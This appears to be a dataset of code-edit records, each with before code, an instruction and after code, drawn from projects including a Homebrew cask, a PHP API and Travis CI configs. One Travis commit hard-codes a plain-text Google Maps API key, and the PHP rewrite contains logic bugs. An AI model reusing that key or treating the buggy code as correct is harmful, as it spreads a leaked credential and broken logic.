## Code Before: cask 'micro-snitch' do version '1.2' sha256 '7749a1bbc88a7a4bcb246d9f6d8b4d46b4faabfb95f7a8706be28570dcc09115' url "https://www.obdev.at/downloads/MicroSnitch/MicroSnitch-#{version}.zip" name 'Micro Snitch' homepage 'https://www.obdev.at/products/microsnitch/index.html' app 'Micro Snitch.app' end ## Instruction: Add auto_updates, depends_on, uninstall and zap ## Code After: cask 'micro-snitch' do version '1.2' sha256 '7749a1bbc88a7a4bcb246d9f6d8b4d46b4faabfb95f7a8706be28570dcc09115' url "https://www.obdev.at/downloads/MicroSnitch/MicroSnitch-#{version}.zip" name 'Micro Snitch' homepage 'https://www.obdev.at/products/microsnitch/index.html' auto_updates true depends_on macos: '>= :el_capitan' app 'Micro Snitch.app' uninstall quit: 'at.obdev.MicroSnitch', launchctl: 'at.obdev.MicroSnitchOpenAtLoginHelper' zap trash: [ '~/Library/Application Support/at.obdev.MicroSnitchOpenAtLoginHelper', '~/Library/Application Support/Micro Snitch', '~/Library/Caches/at.obdev.MicroSnitch', '~/Library/Containers/at.obdev.MicroSnitchOpenAtLoginHelper', '~/Library/Logs/Micro Snitch.log', '~/Library/Preferences/at.obdev.MicroSnitch.plist', ] end
30611aa6c022b4ddf4c70fa4bf48e0b1f417fdba
src/cli/argv.coffee
src/cli/argv.coffee
parser = require 'nomnom' braveMouse = require '../brave-mouse' braveMousePackageJson = require '../../package.json' module.exports = (argv) -> opts = parser .script 'brave-mouse' .options help: abbr: 'h' flag: true help: 'Print this help message' version: abbr: 'v' flag: true help: 'Print brave-mouse’s version' .parse argv.slice 2 if opts.version return console.log 'v' + braveMousePackageJson.version
async = require 'async' parser = require 'nomnom' braveMouse = require '../brave-mouse' braveMousePackageJson = require '../../package.json' module.exports = (argv) -> opts = parser .script 'brave-mouse' .options path: position: 0 help: 'Files to validate against your .editorconfig.' list: true help: abbr: 'h' flag: true help: 'Print this help message' version: abbr: 'v' flag: true help: 'Print brave-mouse’s version' .parse argv.slice 2 if opts.version return console.log 'v' + braveMousePackageJson.version if opts.path exitCode = 0 async.each opts.path, (filePath, callback) -> braveMouse.validate filePath, (err, results) -> return callback err if err if results is true console.log "✔ #{filePath}" callback() else console.log "✘ #{filePath}" for property, result of results console.log " expected #{property} to be #{result.expected} but is #{result.is}" exitCode = 2 callback() , (err) -> if err console.error err process.exit 1 else process.exit exitCode
Implement validating files from the CLI
Implement validating files from the CLI
CoffeeScript
bsd-2-clause
SonicHedgehog/brave-mouse
coffeescript
## Code Before: parser = require 'nomnom' braveMouse = require '../brave-mouse' braveMousePackageJson = require '../../package.json' module.exports = (argv) -> opts = parser .script 'brave-mouse' .options help: abbr: 'h' flag: true help: 'Print this help message' version: abbr: 'v' flag: true help: 'Print brave-mouse’s version' .parse argv.slice 2 if opts.version return console.log 'v' + braveMousePackageJson.version ## Instruction: Implement validating files from the CLI ## Code After: async = require 'async' parser = require 'nomnom' braveMouse = require '../brave-mouse' braveMousePackageJson = require '../../package.json' module.exports = (argv) -> opts = parser .script 'brave-mouse' .options path: position: 0 help: 'Files to validate against your .editorconfig.' list: true help: abbr: 'h' flag: true help: 'Print this help message' version: abbr: 'v' flag: true help: 'Print brave-mouse’s version' .parse argv.slice 2 if opts.version return console.log 'v' + braveMousePackageJson.version if opts.path exitCode = 0 async.each opts.path, (filePath, callback) -> braveMouse.validate filePath, (err, results) -> return callback err if err if results is true console.log "✔ #{filePath}" callback() else console.log "✘ #{filePath}" for property, result of results console.log " expected #{property} to be #{result.expected} but is #{result.is}" exitCode = 2 callback() , (err) -> if err console.error err process.exit 1 else process.exit exitCode
fe4ea97dc3a49ba78b556746a25782b52d3d6727
api/item.php
api/item.php
<?php header('Content-type:application/json'); require_once('./json.php'); require_once('./objects/item.php'); /* routes */ switch ($_SERVER['REQUEST_METHOD']) { case 'GET': get(); break; default: http_response_code(405); header('Allow: GET'); } function get () { switch ( count($_GET) ) { case 0: getList(); break; case 1: getItem(); break; default: //http_response_code(400); } } /* end points */ function getItem () { $list = getJson('item'); foreach ($list as $i) { if ($_GET['id'] == $i['id']){ $item = new Item(); $item->createFromArray($i); exit($item->toJson()); } } exit(http_response_code(404)); } function getList () { $list = getJson('item'); exit(json_encode($list)); } ?>
<?php header('Content-type:application/json'); // Object require_once('./object/item.php'); // Service // Database require_once('./json/item.php'); // Initialize response. $status = 500; $body = []; $header = ''; // Method router. switch ($_SERVER['REQUEST_METHOD']) { case 'GET': get(); break; default: $status = 405; $header .= 'Allow: GET'; } // Get router. function get () { switch ( count($_GET) ) { case 0: getList(); break; case 1: getItem(); break; default: $status = 400; } } // Get item. function getItem () { // Retrieve item. $item = ItemJson::get($_GET['id']); // if not found. if (gettype($item) != 'array') { $status = 404; return; } $status = 200; $body = $item; return; } // Get item list. function getList () { // Retrieve item list. $list = ItemJson::list(); // If not found. if (gettype($item) != 'array') { $status = 503; return; } $status = 200; $body = $list; return; } HTTP::respond($status, $body, $header); ?>
Update Item API handler to use api changes
Update Item API handler to use api changes
PHP
mit
nklnkl/csc226-lab2,nklnkl/csc226-lab2
php
## Code Before: <?php header('Content-type:application/json'); require_once('./json.php'); require_once('./objects/item.php'); /* routes */ switch ($_SERVER['REQUEST_METHOD']) { case 'GET': get(); break; default: http_response_code(405); header('Allow: GET'); } function get () { switch ( count($_GET) ) { case 0: getList(); break; case 1: getItem(); break; default: //http_response_code(400); } } /* end points */ function getItem () { $list = getJson('item'); foreach ($list as $i) { if ($_GET['id'] == $i['id']){ $item = new Item(); $item->createFromArray($i); exit($item->toJson()); } } exit(http_response_code(404)); } function getList () { $list = getJson('item'); exit(json_encode($list)); } ?> ## Instruction: Update Item API handler to use api changes ## Code After: <?php header('Content-type:application/json'); // Object require_once('./object/item.php'); // Service // Database require_once('./json/item.php'); // Initialize response. $status = 500; $body = []; $header = ''; // Method router. switch ($_SERVER['REQUEST_METHOD']) { case 'GET': get(); break; default: $status = 405; $header .= 'Allow: GET'; } // Get router. function get () { switch ( count($_GET) ) { case 0: getList(); break; case 1: getItem(); break; default: $status = 400; } } // Get item. function getItem () { // Retrieve item. $item = ItemJson::get($_GET['id']); // if not found. if (gettype($item) != 'array') { $status = 404; return; } $status = 200; $body = $item; return; } // Get item list. function getList () { // Retrieve item list. $list = ItemJson::list(); // If not found. if (gettype($item) != 'array') { $status = 503; return; } $status = 200; $body = $list; return; } HTTP::respond($status, $body, $header); ?>
94b1f44e138dde3a6c493f36b5b94205f62d6fdf
README.md
README.md
Split CSS selectors by commas or blocks [![Build Status](https://travis-ci.org/perry-mitchell/css-selector-splitter.svg?branch=master)](https://travis-ci.org/perry-mitchell/css-selector-splitter) ## Compatibility Node v6 is supported (full ES6). ## Usage Simply require the main function: ``` const splitSelector = require("css-selector-splitter"); let selectors = splitSelector("div#gallery, div.slide"); // ["div#gallery", "div.slide"] ``` This library also supports the splitting of relationship blocks: ``` const extractBlocks = require("css-selector-splitter").extractBlocks; let items = extractBlocks("div.level1 div#level2 > span.level3 ~ p"); // returns: // [ // "div.level1", // "div#level2", // "span.level3", // "p" // ] ```
Split CSS selectors by commas or blocks [![Build Status](https://travis-ci.org/perry-mitchell/css-selector-splitter.svg?branch=master)](https://travis-ci.org/perry-mitchell/css-selector-splitter) ## Compatibility Node v6 is supported (full ES6). ## Usage Simply require the main function: ``` const splitSelector = require("css-selector-splitter"); let selectors = splitSelector("div#gallery, div.slide"); // ["div#gallery", "div.slide"] ``` This library also supports the splitting of relationship blocks: ``` const splitSelectorBlocks = require("css-selector-splitter").splitSelectorBlocks; let items = splitSelectorBlocks("div.level1 div#level2 > span.level3 ~ p"); // returns: // { // selectors: [ // "div.level1", // "div#level2", // "span.level3", // "p" // ], // joiners: [ // " ", // ">", // "~" // ] // } ``` You can join selectors as well: ``` const joinSelector = require("css-selector-splitter").joinSelector; let selector = joinSelector(["div.a", "div.b"], [">"]); // this can also be output from 'splitSelectorBlocks' // returns: "div.a > div.b" ```
Add new methods to readme
Add new methods to readme
Markdown
mit
perry-mitchell/css-selector-splitter
markdown
## Code Before: Split CSS selectors by commas or blocks [![Build Status](https://travis-ci.org/perry-mitchell/css-selector-splitter.svg?branch=master)](https://travis-ci.org/perry-mitchell/css-selector-splitter) ## Compatibility Node v6 is supported (full ES6). ## Usage Simply require the main function: ``` const splitSelector = require("css-selector-splitter"); let selectors = splitSelector("div#gallery, div.slide"); // ["div#gallery", "div.slide"] ``` This library also supports the splitting of relationship blocks: ``` const extractBlocks = require("css-selector-splitter").extractBlocks; let items = extractBlocks("div.level1 div#level2 > span.level3 ~ p"); // returns: // [ // "div.level1", // "div#level2", // "span.level3", // "p" // ] ``` ## Instruction: Add new methods to readme ## Code After: Split CSS selectors by commas or blocks [![Build Status](https://travis-ci.org/perry-mitchell/css-selector-splitter.svg?branch=master)](https://travis-ci.org/perry-mitchell/css-selector-splitter) ## Compatibility Node v6 is supported (full ES6). ## Usage Simply require the main function: ``` const splitSelector = require("css-selector-splitter"); let selectors = splitSelector("div#gallery, div.slide"); // ["div#gallery", "div.slide"] ``` This library also supports the splitting of relationship blocks: ``` const splitSelectorBlocks = require("css-selector-splitter").splitSelectorBlocks; let items = splitSelectorBlocks("div.level1 div#level2 > span.level3 ~ p"); // returns: // { // selectors: [ // "div.level1", // "div#level2", // "span.level3", // "p" // ], // joiners: [ // " ", // ">", // "~" // ] // } ``` You can join selectors as well: ``` const joinSelector = require("css-selector-splitter").joinSelector; let selector = joinSelector(["div.a", "div.b"], [">"]); // this can also be output from 'splitSelectorBlocks' // returns: "div.a > div.b" ```
691ac8854ba0f167c8db0bc4da15e1ef524bb5c9
bin/build-linux.sh
bin/build-linux.sh
if ! [ -f "lib/gl3w/src/gl3w.c" ]; then pushd lib/gl3w ./gl3w_gen.py popd fi if ! [ -d "build/linux" ]; then mkdir -p "build/linux" fi cd build/linux export CXX="gcc" msg=" --------------------- BUILD SUCCEEDED ---------------------" # Use default cmake CMAKE="cmake" $CMAKE \ -DBUILD_LINUX=TRUE \ -DCMAKE_BUILD_TYPE=Release \ ../.. $CMAKE --build . --target install --config Release && echo $msg
if ! [ -f "lib/gl3w/src/gl3w.c" ]; then cd lib/gl3w ./gl3w_gen.py cd ../.. fi if ! [ -d "build/linux" ]; then mkdir -p "build/linux" fi cd build/linux export CXX="gcc" msg=" --------------------- BUILD SUCCEEDED ---------------------" # Use default cmake CMAKE="cmake" $CMAKE \ -DBUILD_LINUX=TRUE \ -DCMAKE_BUILD_TYPE=Release \ ../.. $CMAKE --build . --target install --config Release && echo $msg
Remove pushd and use cd
Remove pushd and use cd
Shell
mit
lzubiaur/woot,lzubiaur/woot,lzubiaur/woot,lzubiaur/woot,lzubiaur/woot,lzubiaur/woot,lzubiaur/woot
shell
## Code Before: if ! [ -f "lib/gl3w/src/gl3w.c" ]; then pushd lib/gl3w ./gl3w_gen.py popd fi if ! [ -d "build/linux" ]; then mkdir -p "build/linux" fi cd build/linux export CXX="gcc" msg=" --------------------- BUILD SUCCEEDED ---------------------" # Use default cmake CMAKE="cmake" $CMAKE \ -DBUILD_LINUX=TRUE \ -DCMAKE_BUILD_TYPE=Release \ ../.. $CMAKE --build . --target install --config Release && echo $msg ## Instruction: Remove pushd and use cd ## Code After: if ! [ -f "lib/gl3w/src/gl3w.c" ]; then cd lib/gl3w ./gl3w_gen.py cd ../.. fi if ! [ -d "build/linux" ]; then mkdir -p "build/linux" fi cd build/linux export CXX="gcc" msg=" --------------------- BUILD SUCCEEDED ---------------------" # Use default cmake CMAKE="cmake" $CMAKE \ -DBUILD_LINUX=TRUE \ -DCMAKE_BUILD_TYPE=Release \ ../.. $CMAKE --build . --target install --config Release && echo $msg
04f4f22da215ea5514627281b087a6a699235f4e
angular_tutorial/examples/25/readme.html
angular_tutorial/examples/25/readme.html
<div> Was ist neu? <ul> <li><li> </ul> </div> <div> <p> </p> <p> </p> </div>
<div> Was ist neu? <ul> <li><code>templateUrl</code> statt <code>template</code></li> </ul> </div> <div> <p> Wird im <em>Directive Definition Object</em> <code>templateUrl</code> statt <code>template</code> verwendet, kann das Template auch von einer externen URL geladen werden. Angular JS verwendet dann AJAX, um das Template asynchron im Hintergrund zu laden. </p> <p> Die Verwendung von <code>templateUrl</code> sollte bevorzugt werden, da dadurch eine bessere Trennung von Logik und Darstellung erreicht wird. <code>template</code> sollte eigentlich nur bei sehr einfachen Direktiven und Templates verwendet werden. </p> </div>
Update reamde for example 25
Update reamde for example 25
HTML
mit
bjoernricks/angular-tutorial
html
## Code Before: <div> Was ist neu? <ul> <li><li> </ul> </div> <div> <p> </p> <p> </p> </div> ## Instruction: Update reamde for example 25 ## Code After: <div> Was ist neu? <ul> <li><code>templateUrl</code> statt <code>template</code></li> </ul> </div> <div> <p> Wird im <em>Directive Definition Object</em> <code>templateUrl</code> statt <code>template</code> verwendet, kann das Template auch von einer externen URL geladen werden. Angular JS verwendet dann AJAX, um das Template asynchron im Hintergrund zu laden. </p> <p> Die Verwendung von <code>templateUrl</code> sollte bevorzugt werden, da dadurch eine bessere Trennung von Logik und Darstellung erreicht wird. <code>template</code> sollte eigentlich nur bei sehr einfachen Direktiven und Templates verwendet werden. </p> </div>
2ebbe2f9f23621d10a70d0817d83da33b002299e
rest_surveys/urls.py
rest_surveys/urls.py
from __future__ import unicode_literals from django.conf import settings from django.conf.urls import include, url from rest_framework_bulk.routes import BulkRouter from rest_surveys.views import ( SurveyViewSet, SurveyResponseViewSet, ) # API # With trailing slash appended: router = BulkRouter() router.register(r'surveys', SurveyViewSet, base_name='survey') router.register(r'survey-responses', SurveyResponseViewSet, base_name='survey-response') slashless_router = BulkRouter(trailing_slash=False) slashless_router.registry = router.registry[:] urlpatterns = [ url(r'^{api_path}'.format(api_path=settings.REST_SURVEYS['API_PATH']), include(router.urls)), url(r'^{api_path}'.format(api_path=settings.REST_SURVEYS['API_PATH']), include(slashless_router.urls)), ]
from __future__ import unicode_literals from django.conf import settings from django.conf.urls import include, url from rest_framework_bulk.routes import BulkRouter from rest_surveys.views import ( SurveyViewSet, SurveyResponseViewSet, ) # API # With trailing slash appended: router = BulkRouter() router.register(r'surveys', SurveyViewSet, base_name='survey') router.register(r'survey-responses', SurveyResponseViewSet, base_name='survey-response') slashless_router = BulkRouter(trailing_slash=False) slashless_router.registry = router.registry[:] urlpatterns = [ url(r'^{api_path}'.format( api_path=settings.REST_SURVEYS.get('API_PATH', 'api/')), include(router.urls)), url(r'^{api_path}'.format( api_path=settings.REST_SURVEYS.get('API_PATH', 'api/')), include(slashless_router.urls)), ]
Set a default api path
Set a default api path
Python
mit
danxshap/django-rest-surveys
python
## Code Before: from __future__ import unicode_literals from django.conf import settings from django.conf.urls import include, url from rest_framework_bulk.routes import BulkRouter from rest_surveys.views import ( SurveyViewSet, SurveyResponseViewSet, ) # API # With trailing slash appended: router = BulkRouter() router.register(r'surveys', SurveyViewSet, base_name='survey') router.register(r'survey-responses', SurveyResponseViewSet, base_name='survey-response') slashless_router = BulkRouter(trailing_slash=False) slashless_router.registry = router.registry[:] urlpatterns = [ url(r'^{api_path}'.format(api_path=settings.REST_SURVEYS['API_PATH']), include(router.urls)), url(r'^{api_path}'.format(api_path=settings.REST_SURVEYS['API_PATH']), include(slashless_router.urls)), ] ## Instruction: Set a default api path ## Code After: from __future__ import unicode_literals from django.conf import settings from django.conf.urls import include, url from rest_framework_bulk.routes import BulkRouter from rest_surveys.views import ( SurveyViewSet, SurveyResponseViewSet, ) # API # With trailing slash appended: router = BulkRouter() router.register(r'surveys', SurveyViewSet, base_name='survey') router.register(r'survey-responses', SurveyResponseViewSet, base_name='survey-response') slashless_router = BulkRouter(trailing_slash=False) slashless_router.registry = router.registry[:] urlpatterns = [ url(r'^{api_path}'.format( api_path=settings.REST_SURVEYS.get('API_PATH', 'api/')), include(router.urls)), url(r'^{api_path}'.format( api_path=settings.REST_SURVEYS.get('API_PATH', 'api/')), include(slashless_router.urls)), ]
09591644e6635869092d2899183b7bca6a7e1e03
db/migrate/20160524170457_create_sub_splits.rb
db/migrate/20160524170457_create_sub_splits.rb
class CreateSubSplits < ActiveRecord::Migration def self.up create_table :sub_splits, id: false do |t| t.integer :bitkey, null: false t.string :kind, null: false end add_index :sub_splits, :bitkey, unique: true add_index :sub_splits, :kind, unique: true SubSplit.create(bitkey: 1, kind: 'In') # 64.to_s(2) = 1000000; this allows room for new sub_splits that would sort between 'in' and 'out' SubSplit.create(bitkey: 64, kind: 'Out') end def self.down drop_table :sub_splits end end
class CreateSubSplits < ActiveRecord::Migration def self.up create_table :sub_splits, id: false do |t| t.integer :bitkey, null: false t.string :kind, null: false end add_index :sub_splits, :bitkey, unique: true add_index :sub_splits, :kind, unique: true end def self.down drop_table :sub_splits end end
Remove SubSplit object creation from create_sub_splits migration (allows heroku to migrate up despite code having been updated to remove SubSplit as an ActiveRecord model).
Remove SubSplit object creation from create_sub_splits migration (allows heroku to migrate up despite code having been updated to remove SubSplit as an ActiveRecord model).
Ruby
mit
SplitTime/OpenSplitTime,SplitTime/OpenSplitTime,voltagead/OpenSplitTime,voltagead/OpenSplitTime,SplitTime/OpenSplitTime,voltagead/OpenSplitTime
ruby
## Code Before: class CreateSubSplits < ActiveRecord::Migration def self.up create_table :sub_splits, id: false do |t| t.integer :bitkey, null: false t.string :kind, null: false end add_index :sub_splits, :bitkey, unique: true add_index :sub_splits, :kind, unique: true SubSplit.create(bitkey: 1, kind: 'In') # 64.to_s(2) = 1000000; this allows room for new sub_splits that would sort between 'in' and 'out' SubSplit.create(bitkey: 64, kind: 'Out') end def self.down drop_table :sub_splits end end ## Instruction: Remove SubSplit object creation from create_sub_splits migration (allows heroku to migrate up despite code having been updated to remove SubSplit as an ActiveRecord model). ## Code After: class CreateSubSplits < ActiveRecord::Migration def self.up create_table :sub_splits, id: false do |t| t.integer :bitkey, null: false t.string :kind, null: false end add_index :sub_splits, :bitkey, unique: true add_index :sub_splits, :kind, unique: true end def self.down drop_table :sub_splits end end
81d59e992c971d5918cf59a4a24513fbfda42f6c
lib/flipper/feature_check_context.rb
lib/flipper/feature_check_context.rb
module Flipper class FeatureCheckContext attr_reader :feature_name attr_reader :values def initialize(feature_name:, values:) @feature_name = feature_name @values = values end end end
module Flipper class FeatureCheckContext # Public: The name of the feature. attr_reader :feature_name # Public: The GateValues instance that keeps track of the values for the # gates for the feature. attr_reader :values def initialize(feature_name:, values:) @feature_name = feature_name @values = values end end end
Add docs for feature check context methods
Add docs for feature check context methods
Ruby
mit
jnunemaker/flipper,jnunemaker/flipper,jnunemaker/flipper,jnunemaker/flipper
ruby
## Code Before: module Flipper class FeatureCheckContext attr_reader :feature_name attr_reader :values def initialize(feature_name:, values:) @feature_name = feature_name @values = values end end end ## Instruction: Add docs for feature check context methods ## Code After: module Flipper class FeatureCheckContext # Public: The name of the feature. attr_reader :feature_name # Public: The GateValues instance that keeps track of the values for the # gates for the feature. attr_reader :values def initialize(feature_name:, values:) @feature_name = feature_name @values = values end end end
6e78f4eb168c69b2e095ecd6dbf5d5004885d197
MainPage.html
MainPage.html
<!DOCTYPE html> <head> <title> Jason and Trey's Projects</title> </head> <body> <h1>Games</h1> <a href="FallDownGame\site\index.html">Simple Fall down game</a> <br> <a href="Roll_for_your_life\index.html">Roll For Your Life. 3d game jam game</a> <br> <h1>Source</h1> <a href="github.com/jpvarbed">Source for the games can be found here</a> </body> </html>
<!DOCTYPE html> <head> <title> Jason and Trey's Projects</title> </head> <body> <h1>Games</h1> <a href="FallDownGame\site\index.html">Simple Fall down game</a>&nbsp; <a href="https://github.com/jpvarbed/FallDownGame">Source</a> <br> <a href="Roll_for_your_life\index.html">Roll For Your Life. 3d game jam game</a> <a href="https://github.com/swirllyman/Roll-for-your-life">Source</a> <br> </body> </html>
Update source links on main page
Update source links on main page
HTML
mit
jpvarbed/jasonandtreywebsite,jpvarbed/jasonandtreywebsite
html
## Code Before: <!DOCTYPE html> <head> <title> Jason and Trey's Projects</title> </head> <body> <h1>Games</h1> <a href="FallDownGame\site\index.html">Simple Fall down game</a> <br> <a href="Roll_for_your_life\index.html">Roll For Your Life. 3d game jam game</a> <br> <h1>Source</h1> <a href="github.com/jpvarbed">Source for the games can be found here</a> </body> </html> ## Instruction: Update source links on main page ## Code After: <!DOCTYPE html> <head> <title> Jason and Trey's Projects</title> </head> <body> <h1>Games</h1> <a href="FallDownGame\site\index.html">Simple Fall down game</a>&nbsp; <a href="https://github.com/jpvarbed/FallDownGame">Source</a> <br> <a href="Roll_for_your_life\index.html">Roll For Your Life. 3d game jam game</a> <a href="https://github.com/swirllyman/Roll-for-your-life">Source</a> <br> </body> </html>
236e209482a4bf6440962cb86062cc4d9d475c44
README.md
README.md
**Jeff** mixes in client behaviour for [Amazon Web Services (AWS)][aws]. ![jeff][jeff] ## Usage Build a hypothetical client. ```ruby class Client include Jeff end ``` Set AWS endpoint and credentials. ```ruby client = Client.new client.endpoint = 'http://example.com/path' client.key = 'key' client.secret = 'secret' ``` Hit the endpoint. ```ruby client.get query: { 'Foo' => 'Bar' } ``` Oh là là. [aws]: http://aws.amazon.com/ [excon]: https://github.com/geemus/excon [jeff]: http://f.cl.ly/items/0a3R3J0k1R2f423k1q2l/jeff.jpg [sign]: http://docs.amazonwebservices.com/general/latest/gr/signature-version-2.html [travis]: http://travis-ci.org/#!/papercavalier/jeff
**Jeff** mixes in [authentication][sign] for [Amazon Web Services (AWS)][aws]. ![jeff][jeff] ## Usage Build a hypothetical client. ```ruby class Client include Jeff end ``` Set AWS endpoint and credentials. ```ruby client = Client.new client.endpoint = 'http://example.com/path' client.key = 'key' client.secret = 'secret' ``` Hit the endpoint. ```ruby client.get query: { 'Foo' => 'Bar' } ``` Oh là là. [aws]: http://aws.amazon.com/ [jeff]: http://f.cl.ly/items/0a3R3J0k1R2f423k1q2l/jeff.jpg [sign]: http://docs.amazonwebservices.com/general/latest/gr/signature-version-2.html
Bring back link to signature docs
Bring back link to signature docs
Markdown
mit
hakanensari/jeff,mamatafu/jeff
markdown
## Code Before: **Jeff** mixes in client behaviour for [Amazon Web Services (AWS)][aws]. ![jeff][jeff] ## Usage Build a hypothetical client. ```ruby class Client include Jeff end ``` Set AWS endpoint and credentials. ```ruby client = Client.new client.endpoint = 'http://example.com/path' client.key = 'key' client.secret = 'secret' ``` Hit the endpoint. ```ruby client.get query: { 'Foo' => 'Bar' } ``` Oh là là. [aws]: http://aws.amazon.com/ [excon]: https://github.com/geemus/excon [jeff]: http://f.cl.ly/items/0a3R3J0k1R2f423k1q2l/jeff.jpg [sign]: http://docs.amazonwebservices.com/general/latest/gr/signature-version-2.html [travis]: http://travis-ci.org/#!/papercavalier/jeff ## Instruction: Bring back link to signature docs ## Code After: **Jeff** mixes in [authentication][sign] for [Amazon Web Services (AWS)][aws]. ![jeff][jeff] ## Usage Build a hypothetical client. ```ruby class Client include Jeff end ``` Set AWS endpoint and credentials. ```ruby client = Client.new client.endpoint = 'http://example.com/path' client.key = 'key' client.secret = 'secret' ``` Hit the endpoint. ```ruby client.get query: { 'Foo' => 'Bar' } ``` Oh là là. [aws]: http://aws.amazon.com/ [jeff]: http://f.cl.ly/items/0a3R3J0k1R2f423k1q2l/jeff.jpg [sign]: http://docs.amazonwebservices.com/general/latest/gr/signature-version-2.html
807cdc7cf06a260b79e610d1f83a0862fc60a590
.travis.yml
.travis.yml
sudo: false jobs: include: - stage: build env: - ELM_VERSION=0.18.0 ELM_CSS_VERSION=0.6.1 bundler_args: --without production before_install: - echo "Install elm-lang and elm-css" - echo "elm version = $ELM_VERSION" - echo "elm css version = $ELM_CSS_VERSION" - cd $TRAVIS_BUILD_DIR/client - npm install -g elm@$ELM_VERSION elm-css@$ELM_CSS_VERSION - cd $TRAVIS_BUILD_DIR install: - echo "Install restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - make install - echo "Install client (elm)" - cd $TRAVIS_BUILD_DIR/client - make install script: skip - stage: test env: - RAILS_ENV=test install: skip script: - echo "test restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - bundle exec rspec spec - stage: deploy script: skip stages: - build - test - deploy os: - linux cache: directories: - $TRAVIS_BUILD_DIR/client/elm-stuff/build-artifacts
sudo: false jobs: include: - stage: build env: - ELM_VERSION=0.18.0 ELM_CSS_VERSION=0.6.1 bundler_args: --without production before_install: - echo "Install elm-lang and elm-css" - echo "elm version = $ELM_VERSION" - echo "elm css version = $ELM_CSS_VERSION" - cd $TRAVIS_BUILD_DIR/client - npm install -g elm@$ELM_VERSION elm-css@$ELM_CSS_VERSION - cd $TRAVIS_BUILD_DIR install: - echo "Install restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - make install - echo "Install client (elm)" - cd $TRAVIS_BUILD_DIR/client - make install script: skip - stage: test env: - RAILS_ENV=test GOOGLE_MAPS_API=AIzaSyCrvF3M7oX7JEY74mo6hfpu3rgHdwuNIrw install: skip script: - echo "test restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - bundle exec rspec spec - stage: deploy script: skip stages: - build - test - deploy os: - linux cache: directories: - $TRAVIS_BUILD_DIR/client/elm-stuff/build-artifacts
Use Google Maps API token for rspec tests
Use Google Maps API token for rspec tests
YAML
mit
ofer987/transit.tips,ofer987/transit.tips,ofer987/transit.tips,ofer987/transit.tips
yaml
## Code Before: sudo: false jobs: include: - stage: build env: - ELM_VERSION=0.18.0 ELM_CSS_VERSION=0.6.1 bundler_args: --without production before_install: - echo "Install elm-lang and elm-css" - echo "elm version = $ELM_VERSION" - echo "elm css version = $ELM_CSS_VERSION" - cd $TRAVIS_BUILD_DIR/client - npm install -g elm@$ELM_VERSION elm-css@$ELM_CSS_VERSION - cd $TRAVIS_BUILD_DIR install: - echo "Install restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - make install - echo "Install client (elm)" - cd $TRAVIS_BUILD_DIR/client - make install script: skip - stage: test env: - RAILS_ENV=test install: skip script: - echo "test restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - bundle exec rspec spec - stage: deploy script: skip stages: - build - test - deploy os: - linux cache: directories: - $TRAVIS_BUILD_DIR/client/elm-stuff/build-artifacts ## Instruction: Use Google Maps API token for rspec tests ## Code After: sudo: false jobs: include: - stage: build env: - ELM_VERSION=0.18.0 ELM_CSS_VERSION=0.6.1 bundler_args: --without production before_install: - echo "Install elm-lang and elm-css" - echo "elm version = $ELM_VERSION" - echo "elm css version = $ELM_CSS_VERSION" - cd $TRAVIS_BUILD_DIR/client - npm install -g elm@$ELM_VERSION elm-css@$ELM_CSS_VERSION - cd $TRAVIS_BUILD_DIR install: - echo "Install restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - make install - echo "Install client (elm)" - cd $TRAVIS_BUILD_DIR/client - make install script: skip - stage: test env: - RAILS_ENV=test GOOGLE_MAPS_API=AIzaSyCrvF3M7oX7JEY74mo6hfpu3rgHdwuNIrw install: skip script: - echo "test restbus (ruby on rails)" - cd $TRAVIS_BUILD_DIR/restbus - bundle exec rspec spec - stage: deploy script: skip stages: - build - test - deploy os: - linux cache: directories: - $TRAVIS_BUILD_DIR/client/elm-stuff/build-artifacts
7d49aeaaa200a271b90b2ff6c216a77924b32977
.travis.yml
.travis.yml
language: ruby rvm: - 1.8.7 - 1.9.2 - 1.9.3 - 2.0.0 - 2.1.2 cache: bundler before_script: - git config --global user.email "[email protected]" - git config --global user.name "Heroku Bot (Travis CI)" script: bundle exec rspec spec --color --format documentation deploy: provider: rubygems on: tags: true api_key: secure: ALsBCGGvdAiIEJR9zTzxumcgCaS5eqOs7Oee7e4SiDgHrT/DRSsFJBtNp9mJvQvHzW3FqSFZU7NO6tSRkwHGdGGw7pf/emjZ2ua0exuyCQ3LaCJBdwSQXl0GTMhhaMCCd2NYWJ+Fa3Q9jWWAdCfV8rqz5AX4ZG6fi3C2uubppVs=
language: ruby rvm: - 1.8.7 - 1.9.2 - 1.9.3 - 2.0.0 - 2.1.2 sudo: false cache: bundler before_script: - git config --global user.email "[email protected]" - git config --global user.name "Heroku Bot (Travis CI)" script: bundle exec rspec spec --color --format documentation deploy: provider: rubygems on: tags: true api_key: secure: ALsBCGGvdAiIEJR9zTzxumcgCaS5eqOs7Oee7e4SiDgHrT/DRSsFJBtNp9mJvQvHzW3FqSFZU7NO6tSRkwHGdGGw7pf/emjZ2ua0exuyCQ3LaCJBdwSQXl0GTMhhaMCCd2NYWJ+Fa3Q9jWWAdCfV8rqz5AX4ZG6fi3C2uubppVs=
Use the new build env on Travis
Use the new build env on Travis as an added bonus, caching works on the new platform
YAML
mit
heroku/heroku,heroku/heroku,heroku/heroku
yaml
